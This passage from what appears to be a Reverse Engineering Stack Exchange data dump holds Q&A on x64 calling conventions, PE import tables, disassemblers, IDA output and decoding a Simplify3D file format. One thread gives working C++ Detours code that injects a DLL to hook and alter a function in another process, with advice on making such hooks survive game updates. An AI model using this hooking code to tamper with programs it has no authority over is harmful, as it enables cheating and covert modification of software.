401bc6:   e8 34 fc ff ff          call   4017ff &amp;lt;DotProduct&amp;gt;      // DotProduct(m1, m2, 3, 2, 2, 3);&#xA;  401bcb:   48 89 45 b0             mov    QWORD PTR [rbp-0x50],rax // void** m3 [rbp-0x50] = returned&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that &lt;code&gt;arg5&lt;/code&gt; and &lt;code&gt;arg6&lt;/code&gt; are placed into &lt;code&gt;[rsp+0x20]&lt;/code&gt; and &lt;code&gt;[rsp+0x28]&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;See what happens when DotProduct is called:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00000000004017ff &amp;lt;DotProduct&amp;gt;:&#xA;  4017ff:   55                      push   rbp&#xA;  401800:   53                      push   rbx&#xA;  401801:   48 83 ec 48             sub    rsp,0x48       // (-72)&#xA;  401805:   48 8d ac 24 80 00 00    lea    rbp,[rsp+0x80] // (-72+128) =&amp;gt; (+56)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;rbp&lt;/code&gt; should be at &lt;code&gt;-0x48+0x80&lt;/code&gt; relative to &lt;code&gt;main&lt;/code&gt;'s &lt;code&gt;rsp&lt;/code&gt;, which simplifies to &lt;code&gt;+0x38&lt;/code&gt; (+56, Δ&lt;code&gt;main&lt;/code&gt; rsp). The stack pointer decreased 72 bytes, and the base pointer was placed 128 bytes above that (so 56 bytes above the previous stack pointer location). Next, &lt;code&gt;DotProduct&lt;/code&gt; loads the first four arguments from their registers:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  40180d:   48 89 4d e0             mov    QWORD PTR [rbp-0x20],rcx&#xA;  401811:   48 89 55 e8             mov    QWORD PTR [rbp-0x18],rdx // (rbp-24) =&amp;gt; (+56-24) =&amp;gt; (+32) !&#xA;  401815:   44 89 45 f0             mov    DWORD PTR [rbp-0x10],r8d // (rbp-16) =&amp;gt; (+56-16) =&amp;gt; (+40) !&#xA;  401819:   44 89 4d f8             mov    DWORD PTR [rbp-0x8],r9d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Wait! How are &lt;code&gt;rdx&lt;/code&gt; and &lt;code&gt;r8d&lt;/code&gt; loaded into these memory locations? Aren't they occupied by arguments 5 and 6? What happened?&lt;/p&gt;&#xA;&lt;p&gt;Right after that, we have this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  40181d:   8b 45 00                mov    eax,DWORD PTR [rbp+0x0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What's going on here? &lt;code&gt;[rbp+0x0]&lt;/code&gt; hasn't been initialized in this function, so what's in this memory location? Where did arguments 5 and 6 go?&lt;/p&gt;&#xA;" OwnerUserId="33817" LastActivityDate="2020-07-14T10:40:47.467" Title="Where do arguments 5 and 6 go in this Microsoft x64 function call?" Tags="|disassembly|windows|assembly|x86-64|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25491" PostTypeId="2" ParentId="25490" CreationDate="2020-07-14T00:19:20.353" Score="1" Body="&lt;p&gt;I've spent many hours (too many for me to admit) trying to figure this out and I just realized what it is, right after hitting submit. &lt;code&gt;push&lt;/code&gt; instructions implicitly decrease the stack pointer. The call to the function &lt;code&gt;DotProduct&lt;/code&gt; calls &lt;code&gt;push&lt;/code&gt; three times; once in the &lt;code&gt;call&lt;/code&gt; instruction itself, where the return address is implicitly pushed, and twice in the function's prolog, where two quadword registers are explicitly pushed with the &lt;code&gt;push&lt;/code&gt; instruction. This all automatically decreases &lt;code&gt;rsp&lt;/code&gt; by 24 bytes, leaving arg5 and arg6 at &lt;code&gt;[rbp]&lt;/code&gt; and &lt;code&gt;[rbp+0x8]&lt;/code&gt;. The arguments aren't overwritten.&lt;/p&gt;&#xA;" OwnerUserId="33817" LastEditorUserId="33817" LastEditDate="2020-07-14T00:44:49.427" LastActivityDate="2020-07-14T00:44:49.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25493" PostTypeId="1" CreationDate="2020-07-14T07:42:56.550" Score="1" ViewCount="44" Body="&lt;p&gt;I’m doing a small research regarding PE files and while I drilled every related question or the documentation itself I couldn’t explain this issue.&lt;/p&gt;&#xA;&lt;p&gt;Why can I go to CFF explorer or some other PE editing software and nullify the IMAGE_IAT_DIRECTORY in the OptionalHeader and the program will still run fine?&lt;/p&gt;&#xA;&lt;p&gt;As far as I understood, the loader will iterate the array of PIMAGE_THUNK_DATA pointed by OriginalFirstThunk, will parse the symbol, and then will overwrite the memory pointed by FirstThunk with the corresponding function address.&lt;/p&gt;&#xA;&lt;p&gt;I also understood that the IMAGE_IAT_DIRECTORY Will serve as a container for these function pointer arrays, for each corresponding FirstThunk in each IMAGE_IMPORT_DESCRIPTOR.&#xA;When is it needed for an IAT directory to exist? Can it be that a lack of this directory will prevent an file from starting?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10356" LastActivityDate="2020-07-14T07:42:56.550" Title="PE Format - How can I delete IMAGE_IAT_DIRECTORY and the app still runs fine?" Tags="|windows|binary-analysis|pe|windows-10|pe32|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25494" PostTypeId="2" ParentId="25479" CreationDate="2020-07-14T08:04:15.543" Score="0" Body="&lt;p&gt;A decompiler plugin can be made to apply xor operations automatically. Please check &lt;a href=&quot;https://www.hex-rays.com/blog/deobfucsating-xored-strings/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt; for more info and sample code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-07-14T08:04:15.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25495" PostTypeId="1" AcceptedAnswerId="25498" CreationDate="2020-07-14T09:45:42.580" Score="0" ViewCount="765" Body="&lt;p&gt;I have found 2 source code example to hook a function.&lt;/p&gt;&#xA;&lt;p&gt;Example1:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;quot;detours.h&amp;quot;&#xA;#include &amp;quot;sigscan.h&amp;quot;&#xA;&#xA;// this is the function that the program&#xA;// will jump to when sum() is called in the original program (testprogram.exe)&#xA;&#xA;DWORD AddressOfSum = 0;&#xA;// template for the original function&#xA;typedef int(*sum)(int x, int y); &#xA;&#xA;int HookSum(int x, int y)&#xA;{&#xA;    // manipulate the arguments&#xA;    x += 500;&#xA;    y += 500;&#xA;&#xA;    // we manipulate the arguments here and then&#xA;    // redirect the program to the original function&#xA;&#xA;    std::cout &amp;lt;&amp;lt; &amp;quot;your program has been hacked! &amp;quot; &amp;lt;&amp;lt; std::endl;&#xA;    sum originalSum = (sum)AddressOfSum;&#xA;    return originalSum(x, y);&#xA;}&#xA;&#xA;BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)&#xA;{&#xA;    // store the address of sum() in testprogram.exe here.&#xA;&#xA;    if (dwReason == DLL_PROCESS_ATTACH)&#xA;    {&#xA;        // We will use signature scanning to find the function that we want to hook&#xA;        // we will find the function in IDA pro and create a signature from it:&#xA;&#xA;        SigScan Scanner;&#xA;&#xA;        // testprogram.exe is the name of the main module in our target process&#xA;        AddressOfSum = Scanner.FindPattern(&amp;quot;testprogram.exe&amp;quot;, &amp;quot;\x55\x8B\xEC\x8B\x45\x08\x03\x45\x0C&amp;quot;, &amp;quot;xxxxxxxxx&amp;quot;);&#xA;&#xA;        DetourTransactionBegin();&#xA;        DetourUpdateThread(GetCurrentThread());&#xA;&#xA;        // this will hook the function&#xA;        DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfSum, &amp;amp;HookSum);&#xA;&#xA;        DetourTransactionCommit();&#xA;    }&#xA;    else if (dwReason == DLL_PROCESS_DETACH)&#xA;    {&#xA;        // unhook&#xA;        DetourTransactionBegin();&#xA;        DetourUpdateThread(GetCurrentThread());&#xA;&#xA;        // this will hook the function&#xA;        DetourDetach(&amp;amp;(LPVOID&amp;amp;)AddressOfSum, &amp;amp;HookSum);&#xA;&#xA;        DetourTransactionCommit();&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Example2:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;detours.h&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA; &#xA;#define ADDRESS 0x40133C    //This is the address where our targeted function begins&#xA;double (__cdecl* originalFunction)(double); //Pointer to the function we are going to hook, must be declared same as original(returns double and takes double as argument)&#xA; &#xA; &#xA; &#xA;/*Our modified function code that is going to be executed&#xA;before continuing to the code of original function*/&#xA;double hookedFunction(double a)  &#xA;{                                 &#xA;std::cout &amp;lt;&amp;lt; &amp;quot;original function: argument = &amp;quot;&amp;lt;&amp;lt; a &amp;lt;&amp;lt; std::endl; //we can access arguments passed to original function&#xA;a=50.1337;                                                        //Modify arguments&#xA;return originalFunction(a);                                        //before returning to normal execution of function&#xA;}&#xA; &#xA;BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)&#xA;{&#xA;switch (dwReason)&#xA;{&#xA;case DLL_PROCESS_ATTACH:&#xA;originalFunction = (double(__cdecl*)(double))DetourFunction((PBYTE)ADDRESS, (PBYTE)hookedFunction); //Magic&#xA;break;&#xA;}&#xA;return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I ask what is best easy and flexible approach to hook functions.&lt;/p&gt;&#xA;&lt;p&gt;My consideration:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Example 1: is tested and worked.&lt;/li&gt;&#xA;&lt;li&gt;Example 1: is a filename dependent &amp;quot;testprogram.exe&amp;quot;. So if I change the exe file name I need to change the source code.&lt;/li&gt;&#xA;&lt;li&gt;Example 1: &amp;quot;\x55\x8B\xEC\x8B\x45\x08\x03\x45\x0C&amp;quot; this is the address point format and it is not easy to decode like example 2: &amp;quot;0x40133C&amp;quot; (more easy)&lt;/li&gt;&#xA;&lt;li&gt;Example 2: don't work because &amp;quot;detourFunction&amp;quot; is deprecated. Now there is &amp;quot;detourAttach&amp;quot; but I don't known how migrate to it in this case.&lt;/li&gt;&#xA;&lt;li&gt;Example 2: is more easy but old. I don't known if will work in the future (32 or 64 bit)...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Can you help me please to take a decision or suggest me a better/easier solution ?&lt;/p&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="14622" LastEditDate="2020-07-17T07:10:23.397" LastActivityDate="2020-07-17T07:10:23.397" Title="best approach to hook function" Tags="|c++|function-hooking|dll-injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25496" PostTypeId="2" ParentId="25490" CreationDate="2020-07-14T10:40:47.467" Score="3" Body="&lt;p&gt;when you are here &lt;strong&gt;4017ff:   55                      push   rbp&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;your 5th argument will be available at [rsp+28]&lt;br /&gt;&#xA;(8 bytes for return address and 20 bytes for HOMEPARAMS (space for saving the 4 args passed via register)&lt;/p&gt;&#xA;&lt;p&gt;two pushes and one subtract will make your argument no 5  available at&#xA;0x28 + 0x8 +0x8 +0x48 = 0x80&lt;/p&gt;&#xA;&lt;p&gt;so rbp+0 will hold the address of 5th argument after the LEA operation&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-07-14T10:40:47.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25498" PostTypeId="2" ParentId="25495" CreationDate="2020-07-14T14:55:32.343" Score="1" Body="&lt;p&gt;The first one is much better in my opinion:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It doesn't use deprecated function, that is probably kept only in the &lt;code&gt;Detours&lt;/code&gt; library for backward compatibility&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It uses pattern scanning, this is much better then embedding raw address, because lets say you are going to inject the .dll to a game, even if it's old singleplayer game it may have a lot of revisions, so the raw address may point to another function, while the pattern will mostly likely find a match anyway (providing the revisions don't differ too much)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The argument with hardcoded &amp;quot;testprogram.exe&amp;quot; doesn't really matter, beacuse there are a lot of ways to get name of the executable, for example you may use the winapi function &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulefilenamea&quot; rel=&quot;nofollow noreferrer&quot;&gt;GetModuleFileName&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Not sure if I understand correctly the question about migration, however if you wan't to use DetourAttach in the second example there is no problem with that, just call the &lt;code&gt;DetourAttach&lt;/code&gt; like in first example, but with &lt;code&gt;ADDRESS&lt;/code&gt; instead of &lt;code&gt;AddressOfSum&lt;/code&gt; as parameter.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-07-14T14:55:32.343" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25499" PostTypeId="1" CreationDate="2020-07-14T15:21:30.550" Score="1" ViewCount="175" Body="&lt;p&gt;When you search for the search term Tesla or AOL you get the following URLs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trends.google.com/trends/explore?geo=US&amp;amp;q=Tesla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trends.google.com/trends/explore?geo=US&amp;amp;q=Tesla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FGjPq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FGjPq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But, for the automobile maker, you get:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trends.google.com/trends/explore?geo=US&amp;amp;q=%2Fm%2F0j6n6s8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trends.google.com/trends/explore?geo=US&amp;amp;q=%2Fm%2F0j6n6s8&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rEeqX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rEeqX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So what is the &lt;code&gt;%2Fm%2F0j6n6s8&lt;/code&gt; part? I know it URL decodes to &lt;code&gt;/m/0j6n6s8&lt;/code&gt; but how is it being encoded??&lt;/p&gt;&#xA;&lt;p&gt;One more example of AOL (search term) vs. AOL (company)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trends.google.com/trends/explore?geo=US&amp;amp;q=AOL&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trends.google.com/trends/explore?geo=US&amp;amp;q=AOL&lt;/a&gt;&#xA;&lt;a href=&quot;https://trends.google.com/trends/explore?geo=US&amp;amp;q=%2Fm%2F0plw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trends.google.com/trends/explore?geo=US&amp;amp;q=%2Fm%2F0plw&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33823" LastActivityDate="2022-12-25T22:20:56.840" Title="What is the URL format for Google Trends?" Tags="|encodings|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25503" PostTypeId="1" CreationDate="2020-07-15T05:19:55.283" Score="1" ViewCount="281" Body="&lt;p&gt;I have 2 questions regarding this, but feel free to elaborate more if you want to, I'm really interested in this topic:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do they really just read byte by byte until they get a valid instruction? How do they know if it's a valid instruction and which it is? I don't imagine they just had every single instruction stored in a table as that'd be very inefficient.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Found this source online that I think does this in around 700 lines (&lt;a href=&quot;https://github.com/btbd/disassembler/blob/master/disassembler.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/btbd/disassembler/blob/master/disassembler.c&lt;/a&gt;). If something like this is possible, why are there others that have a lot more code and logic?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="33834" LastActivityDate="2020-07-15T18:26:15.507" Title="How do disassemblers work?" Tags="|disassembly|assembly|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25507" PostTypeId="2" ParentId="25503" CreationDate="2020-07-15T18:26:15.507" Score="2" Body="&lt;p&gt;The 2 main approaches to disassembly are&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Linear sweep&lt;/em&gt; - decode all bytes appearing in sections of the executable that are typically reserved for machine code (e.g. the &lt;code&gt;.text&lt;/code&gt; section of an ELF binary) as machine code&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Recursive traversal&lt;/em&gt; - take into account the control flow behavior of the program being disassembled in order to determine what to disassemble&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Each has its advantages and disadvantages. More information can be found in  &lt;a href=&quot;https://www2.cs.arizona.edu/%7Edebray/Publications/disasm.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Disassembly of Executable Code Revisited&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;An exploration of what is involved in developing a disassembler is given in the following research presentation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/presentation/d/17Vlv5JD8fGeeNMQqDuwDQXN3d9U6Yxmfb1aebfbMM98/view#slide=id.g586bbaeb3c_0_0&quot; rel=&quot;nofollow noreferrer&quot;&gt;The (Long) Journey To A Multi-Architecture Disassembler&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2020-07-15T18:26:15.507" CommentCount="0" CommunityOwnedDate="2020-07-15T18:26:15.507" ContentLicense="CC BY-SA 4.0" />
  <row Id="25510" PostTypeId="1" CreationDate="2020-07-16T12:42:39.380" Score="1" ViewCount="519" Body="&lt;p&gt;To keep a long story short I'm in the process of trying to reverse engineer the .factory format this program called Simplify3D which is a 3D printing software slicer. I love the software but everything is closed source and I want a way for me to somewhat generate these files myself for automation purposes.&lt;/p&gt;&#xA;&lt;p&gt;I did a small STL file into the software and exported this. If anyone knows anything related to what possible encryption was used and compression would be helpful. I tried looking at it myself and I feel some sort of encryption is used for sure as when I changed one parameter a lot of data seemed to change. Not sure as far as compression goes though.&lt;/p&gt;&#xA;&lt;p&gt;Hex Data:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 26 00 2F 00 4D 00 6F 00 64 00 65 00 6C&#xA;00 73 00 2F 00 4D 00 6F 00 64 00 65 00 6C 00 34&#xA;00 2E 00 69 00 6E 00 66 00 6F 00 00 00 9E 00 00&#xA;01 4C 78 9C B5 4C BD 0A C2 30 10 DE 03 79 0E 97&#xA;10 DA A6 4A EB 5A DD D4 C5 BA 05 E4 B0 A9 06 63&#xA;12 92 13 7C 7C D3 5A 84 2E 6E DE F2 DD F7 DB 6B&#xA;A3 2C 3C 14 DB DA EE DC 80 A7 A4 4F 8A 07 BC B1&#xA;66 2D 4F 51 85 28 DB A0 AD AE 54 27 37 2A DE D1&#xA;79 79 6C 77 8B 28 A7 06 4F 8C 92 6B 70 4F 7F 18&#xA;86 28 C1 00 36 1A 40 C5 F2 A2 E6 A2 12 25 CB B3&#xA;25 5F 89 BA 60 25 CF D2 51 12 2F 60 92 3F B2 39&#xA;50 12 1C 0E E5 EC A3 CE 60 34 F7 80 41 BF A6 F8&#xA;D7 FA FD FC 3F 4C C9 1B 37 31 50 CC 00 00 00 24&#xA;00 2F 00 4D 00 6F 00 64 00 65 00 6C 00 73 00 2F&#xA;00 4D 00 6F 00 64 00 65 00 6C 00 34 00 2E 00 73&#xA;00 74 00 6C 00 00 03 DE 00 00 14 A4 78 9C 95 98&#xA;CD 6B 53 41 10 C0 17 5A 7A 55 BC AA 90 7F C0 D6&#xA;AF 7A 10 9A 17 9E DA A3 20 5E 55 A8 68 68 C0 62&#xA;15 B1 2D 48 7D D0 5E 3C 58 A1 B7 1E 3C 08 FE 03&#xA;6D 6F 82 8D 15 8B 96 D2 34 35 46 7A D1 43 0F 2A&#xA;15 B5 A8 17 41 8C 6F B3 99 B7 33 BB 33 DB E4 9D&#xA;86 CC FC F2 66 F7 CD CE C7 9E 1B 1F BD 79 FB CE&#xA;F5 6B B9 AB 13 B9 8B A5 91 D1 1B A5 E2 C4 89 B3&#xA;B9 93 BD C7 7A 8F E7 8E E4 3A 7E 86 95 7E 92 B2&#xA;6A 3D A5 ED 7F 71 B1 F8 31 06 B9 D1 A8 67 F2 AD&#xA;DD 7A 5C AD CE E7 C3 04 58 D9 DF 93 82 4F 60 AB&#xA;FC CB 7A 5C 38 DC 17 85 09 D0 B8 C4 C6 5D ED 61&#xA;12 85 09 B0 D2 F2 C8 FE 7A FC EC E1 53 86 00 8D&#xA;96 4F CD BE 8B EF 1D 7C D5 81 57 98 68 34 6A F1&#xA;FB C5 0F 7B 78 05 56 5A 3E 7D A5 16 2F 3C DA 65&#xA;88 95 27 D5 A6 C6 10 1B 19 31 37 B7 22 78 05 1A&#xA;97 58 1D D9 68 7A 18 26 C0 4A CB B3 3F 2A C2 5E&#xA;81 BF 5A AE CE BF 8D 2F 1D FA DB C1 5E 61 A2 D1&#xA;D8 D4 D1 B3 07 01 56 9D AC DC 12 7D E7 37 9B EF&#xA;0B 13 60 85 77 DD 27 60 4F B4 7C F4 41 25 8B AB&#xA;F6 BC C2 C4 F2 40 A5 19 C7 61 02 AC EC EF E6 E1&#xA;08 23 63 62 66 5F 45 38 B5 98 00 2B B3 6F EB D9&#xA;3B EC BB B0 66 6D A6 E7 0C C8 AE 57 94 00 0D 26&#xA;B4 CC 12 91 D6 28 B5 9C 6A 5E 14 0C B1 DD 94 4B&#xA;DB 9F 62 F8 9D 12 58 E3 12 20 53 AF AC 55 D2 24&#xA;70 8C E1 D8 A5 04 7C 0F EB 61 E2 45 22 B7 72 97&#xA;00 6F 43 04 B6 92 BD A2 E7 03 13 B0 F2 BD 08 BC&#xA;0B 98 C0 51 62 77 17 EF A8 BB 0E 8E 48 3C C2 F5&#xA;CA 50 F8 9B BB 5F D3 DD 2B 97 48 0A AE 87 C4 AB&#xA;08 38 37 AE C0 0A 7F D9 30 81 BF 26 8E 2B 4A 80&#xA;C6 25 48 4E 14 09 B0 F2 BE 07 21 A4 13 45 CE 39&#xA;43 98 FF 85 EC A3 65 92 DB C5 77 C0 FF 86 F7 0A&#xA;BF 03 13 24 C3 89 04 58 61 0F 7D 02 FC D5 32 D4&#xA;A8 F6 BD C2 04 D4 C4 30 01 56 5A 26 D5 80 10 A0&#xA;D1 32 D4 8F F6 BD C2 04 A9 83 01 AF 8C 55 38 AE&#xA;68 2C 59 02 EA 6E 98 00 2B 2D 93 BE 84 10 A0 31&#xA;EF A8 65 7B D5 AE 57 96 80 CE 29 4C 80 95 96 49&#xA;0F 47 08 D0 68 19 BA BE F6 BD C2 04 74 99 61 02&#xA;AC EC EF E6 E1 08 23 63 82 F4 D4 22 01 56 66 DF&#xA;EA A4 72 1A 0A E7 57 9C 77 DD 5C 62 09 AC E1 09&#xA;BE 72 DA 79 00 64 77 E5 94 90 A6 09 4A 3C EE B9&#xA;1F AD 4D 2E 3C 77 3B 0B 29 C3 51 82 EB 5E DC DE&#xA;47 A9 9D C1 B1 E8 DB D4 F4 92 4B 48 F9 8A 12 5C&#xA;4F E5 F6 70 4A AD 77 0D 47 97 87 B6 3C 42 CA 70&#xA;94 E0 7A 43 DC 33 1A E2 D7 E2 85 E8 4B FD 40 D9&#xA;25 A4 DC 4E 09 A9 7B A5 C4 F7 EE FE E8 4F 77 BF&#xA;47 70 39 D8 27 B8 09 C2 9D 3F 94 4A 3D 8A 52 CF&#xA;3C 42 CA D4 94 E0 E6 1A 3C EF 18 62 7C 68 2B FF&#xA;BA 6B D8 23 A4 DC 4E 09 69 F2 A2 C4 CE D4 74 FE&#xA;EB E0 98 47 70 95 C1 27 B8 99 C3 9D 58 94 7A 33&#xA;B9 30 90 46 BC 47 48 F5 83 12 DC 24 E4 4E 5E 4A&#xA;AD A6 A7 89 23 A4 FA 41 09 6E A2 C3 93 5E B6 F2&#xA;25 58 39 26 A4 8A 43 09 69 E6 A4 C4 58 7A 9A E0&#xA;0B 62 82 AB 57 3E C1 CD E4 EE 44 AF D4 E7 F4 34&#xA;D9 48 AC A1 B8 E2 AB 1A 25 B8 9B 02 7C 83 60 88&#xA;9F E9 69 FA DD 3A 51 98 90 EA 20 25 A4 BB 0C 4A&#xA;68 8F 20 33 60 82 AB A2 3E C1 DD AA B8 77 32 69&#xA;EE 4E 77 B6 D8 CA 70 98 90 6A 2D 25 B8 BB 1E 7C&#xA;07 94 65 EA 32 64 6A 4C 48 B5 96 12 D2 6D 14 25&#xA;9A 91 DE AA 38 98 90 AB 33 26 B8 9B 34 5C 13 E1&#xA;81 7A 6E 67 35 DC 71 F8 95 D3 27 FC 1E C5 23 CA&#xA;40 E0 4E 1F DF 07 B8 73 AD 4B E0 D9 89 F6 A8 4A&#xA;FD 07 F2 BB B3 66&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33851" LastEditorUserId="33851" LastEditDate="2020-07-16T23:34:01.170" LastActivityDate="2022-09-30T01:02:54.993" Title="Reverse engineering unknown binary data of .Factory file for Simplify3D" Tags="|binary|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25511" PostTypeId="1" CreationDate="2020-07-16T18:22:08.480" Score="0" ViewCount="77" Body="&lt;p&gt;After show the pseudo code in IDA I see different results:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Cq2mL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cq2mL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hRC4I.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hRC4I.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The function 4436C0 show different pseudo code.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;result = sub_4376C0(&amp;quot;vvcbb3.wav&amp;quot;,v8,0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;result = sub_4376C0((int)&amp;quot;vvcbb3.wav&amp;quot;,v8,0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Have you never seen a similar situation?&lt;/p&gt;&#xA;&lt;p&gt;It is a IDA bug ?&lt;/p&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="33776" LastEditDate="2020-07-17T07:28:49.370" LastActivityDate="2020-07-17T07:28:49.370" Title="strange results with IDA (some function different Pseudo Code)" Tags="|ida|disassembly|assembly|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25513" PostTypeId="2" ParentId="25510" CreationDate="2020-07-17T02:59:35.680" Score="1" Body="&lt;p&gt;It looks like these files are compressed using basic zlib compression. Once extracted we can see that there seems to be different files one contains the XML information for various print settings. There is also one for binary information of which im assuming is the raw ASIC bytes for the STL file to be loaded externally which also has a header for the the model and position location for inside the software.&lt;/p&gt;&#xA;&lt;p&gt;You should be able to take these files and run it through Binwalk using -Mre parameters to decompile these factory files and modifying the data and possibly compressing them back and reconstructing the factory file to load in the software.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Binwalk Information:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zgV1C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zgV1C.png&quot; alt=&quot;Binwalk run-through&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;XML File Code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;&#xA;&amp;lt;profile name=&amp;quot;Original Prusa i3 MK3/MK3S (modified)&amp;quot; version=&amp;quot;2019-11-03 13:13:32&amp;quot; app=&amp;quot;S3D-Software 4.1.2&amp;quot;&amp;gt;&#xA;  &amp;lt;processName&amp;gt;Process1&amp;lt;/processName&amp;gt;&#xA;  &amp;lt;groupName&amp;gt;&amp;lt;/groupName&amp;gt;&#xA;  &amp;lt;applyToModels&amp;gt;End_Cap&amp;lt;/applyToModels&amp;gt;&#xA;  &amp;lt;baseProfile&amp;gt;Prusa Mendel (modified)&amp;lt;/baseProfile&amp;gt;&#xA;  